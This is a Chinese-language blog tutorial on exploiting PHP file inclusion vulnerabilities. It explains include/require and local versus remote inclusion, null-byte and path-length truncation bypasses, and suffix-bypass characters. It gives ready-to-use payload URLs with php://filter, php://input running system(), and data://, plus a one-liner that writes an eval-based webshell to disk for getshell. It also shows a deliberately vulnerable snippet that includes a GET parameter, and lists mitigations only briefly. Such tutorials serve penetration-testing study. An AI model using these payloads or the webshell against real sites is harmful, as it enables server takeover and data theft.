首页 > 其他分享 >文件包含

文件包含

时间:2023-07-28 21:56:17浏览次数:32  
标签:文件 include http 包含 php fileInclusion

文件包含

当我们在遇到文件上传并且有白名单校验的时候,利用文件包含可以getshell(brupsuit)上传文件,该文 件后缀名(php),插入一句话木马,用菜刀连接

原理

程序员通常会把可重复使用函数或语句写到单个文件中,在使用某个功能时,直接调用此文件,不用再编写调用文件的过程称为包含。

PHP 中的⽂件包含语句 PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:

include()多次包含,如果包含失败,脚本产⽣警告,继续运⾏。

include_once()⼀次包含,如果包含失败,脚本产⽣警告,继续运⾏。

require()多次包含,如果包含失败,脚本产⽣错误,结束执⾏。

require_once()⼀次包含,如果包含失败,脚本产⽣错误,结束执⾏。

 

⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。

 

#文件包含各个脚本代码

ASP, PHP,JSP,ASPX等

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<*@ include file="head.jsp"%>

<?php Include('test.php')?>

 

#漏洞识别检测

代码审计

漏扫工具

公开漏洞

手工看参数值及功能点

 

类型

本地包含

本地⽂件包含就是可以读取和打开本地⽂件,无限制可读取任意文件,有限制只能读取指定后缀文件.

有限制可绕过

00截断:条件: magic_quotes_gpc = Off php版本<5.3.4

filename=../../../www.txt%00

长度截断:条件:windows,点号需要长于256; linux 长于4096

1.txt/./././././././././././././././././././././././././././././././.

1.txt……………………………………………………………….

参考文件上传绕过思路

 

远程包含

远程⽂件包含就是可以远程(⽅式)加载⽂件。 可通过php的配置文件php.ini中的选项进行配置

条件: /php

allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件

allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件

有后缀限制可绕过

%23

%00

%20

?

 

利用

http

ftp

File

各种脚本支持协议

#各种协议流玩法

参考 https://www.cnblogs.com/endust/p/11804767.html

 

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt

http://127.0.0.1:8080/include.php?filename=php://input (Post:) <?php system('ver')?>

<?PHP fputs (fopen('s.php', 'w'),'<?php

@eval ($_POST[cmd]) ?>');?>

http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt

http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo (); ?>

 

 

相应配置:

 

allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件

allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件

 

包含示例: 示例代码:

// fileInclusion.php

if(!empty($_GET['path'])){

include $_GET['path'];

}else{

echo "?path=./info.php"; }

12345

本地文件包含:

http://192.168.16.109/fileInclusion/fileInclusion.php?path=./info.php

远程⽂件包含

http://localhost/fileInclusion/fileInclusion.php?

path=http://192.168.16.109/phpinfo.php

 

优点:

PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。

缺点

会产生文件包含漏洞 漏洞原理:文件包含配置(php.ini)、动态调用、客户端可控。

特点:

⽆视⽂件扩展名读取⽂件。

直接读取图⽚的源代码

http://192.168.48.139/fileInclusion/fileInclusion.php?

 

修复

固定后缀

固定文件

WAF产品

 

标签:文件,include,http,包含,php,fileInclusion
From: https://www.cnblogs.com/xlvbys/p/17588908.html

相关文章

  • 使用scp在Linux服务器之间传输文件
    第一章、scp命令介绍scp就是securecopy,一个在linux下用来进行远程拷贝文件的命令。scp文件名1远程用户名@IP地址:文件名2几个参数:-v用来显示进度.可以用来查看连接-C使能压缩选项-P选择端口-4强行使用IPV4地址.-6强行使用IPV6地址.第二章、实......
  • 【Azure Cloud Service】云服务升级后,查看配置文件发现编码变为utf-16
    问题描述通过MigratetoARM,把经典云服务升级成云服务(外延支持)后,在查看云服务的配置XML文件,发现文件的编码格式由UTF-8改变为UTF-16 由此,引发了三个问题1)CloudService是否支持UTF-8,UTF-16这两种编码呢?2)为什么CloudService的配置文件会发生改变?3)配置文件发生改......
  • 【Azure Cloud Service】云服务升级后,查看配置文件发现编码变为utf-16
    问题描述通过MigratetoARM,把经典云服务升级成云服务(外延支持)后,在查看云服务的配置XML文件,发现文件的编码格式由UTF-8改变为UTF-16 由此,引发了三个问题1)CloudService是否支持UTF-8,UTF-16这两种编码呢?2)为什么CloudService的配置文件会发生改变?3)配置文件发生改变后,是否......
  • 如何复制文件到 Hyper-V 虚拟机上
    想要实现复制文件到虚拟机上,主要是需要在Hyper-V主机上打开增强会话模式如果Hyper-V主机运行的是Windows10或Windows8.1,则默认情况下,增强会话模式处于打开状态,因此你可以跳过此步骤并转到下一部分。但是,如果主机运行的是WindowsServer2016或WindowsServer2012......
  • 利用JAVA操作EXCEL文件
    级别:初级2003年1月11日使用Windows操作系统的朋友对Excel(电子表格)一定不会陌生,但是要使用Java语言来操纵Excel文件并不是一件容易的事。在Web应用日益盛行的今天,通过Web来操作Excel文件的需求越来越强烈,目前较为流行的操作是在JSP或Servlet中创建一个CSV(commasepa......
  • Android多文件上传的原理
    android上面图片的上传可以用apache包里面的httpclient和MultipartEntity来上传图片,这种的上传方式的话由于都封装好了所以看不到HTTP协议里面具体是怎样上传的;其实图片的上传还可以用Java自带的HttpURLConnection来做上传处理,例如有一个PHP写的接收图片的POST接口http://localho......
  • C# 字符串转码后操作二进制文件
    String转码后写入二进制文件,读二进制文件进行解码返回。publicclassBinaryClass{///<summary>///写二进制文件///</summary>///<paramname="binFile"></param>///<paramname="str">&......
  • NLP | safetensors是什么文件
    safetensors是谷歌开发的一种TensorFlowLite模型文件格式,用于在移动设备上运行模型。.safetensors文件是用numpy保存的,这意味着它们只包含张量数据,没有任何代码,加载.safetensors文件更安全和快速。如果你想在手机上打开本地后缀为safetensors的模型文件,可以按照以下步骤操作......
  • PageOffice在线只读打开word文件并禁止复制
    一、PageOffice禁止复制1、poCtrl.setAllowCopy(false);//禁止拷贝,权限比较大,系统的快捷键Ctrl+C,Ctrl+V也会受到影响,但是可以在其他程序中可以使用右键菜单进行拷贝粘贴操作2、wordDoc.setDisableWindowSelection(true);//禁止word的选择文字功能3、poCtrl.setDisableCopyOnly......
  • C++实现Windows释放资源文件到本地
     C++实现释放资源文件到本地用途很多,可以实现动态释放DLL文件,需时加载./***\brief释放资源文件到本地*\paramlpName资源文件名称*\paramlpType资源文件分类*\paramlpFileName生成到本地的文件名称*\return*/BOOLReleaseResource(_In_LPCWSTRlp......